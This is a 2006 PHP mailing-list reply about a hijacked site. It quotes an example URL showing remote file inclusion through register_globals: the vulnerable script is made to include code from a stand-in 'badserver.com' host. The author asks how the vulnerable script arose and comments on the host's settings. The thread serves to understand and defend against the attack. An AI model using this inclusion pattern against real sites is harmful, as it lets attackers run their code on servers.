Re: Fwd: [PHP] Highjack?
| From: | tedd | Date: | Tue, 14 Nov 2006 17:34:49 +0000 |
| Subject: | Re: Fwd: [PHP] Highjack? | ||
| References: | 1 2 3 4 | Groups: | php.general |
| Request: | Send a blank email to php-general+get-244601@lists.php.net to get a copy of this message | ||
At 7:12 PM +0100 11/13/06, Rory Browne wrote:
If register_globals is enabled, someone could http://www.example.com/badscript.php?path=http://www.badserver.com/badscript.txt?dummy= The script will then include http://www.badserver.com/badscript.txt?dummy=script.phpI still don't see how "badscript.php" can be uploaded into example.com's site in the first place -- unless "badscript.php" is not part of the evil-doers code but rather just a poor script. I have noticed that the host has disabled "shell_exec()" since the attack -- so, I wonder if this was the cause or just a shotgun approach to server protection. However, he still has register_globals ON and safe_mode OFF. tedd -- ------- http://sperling.com http://ancientstones.com http://earthstones.com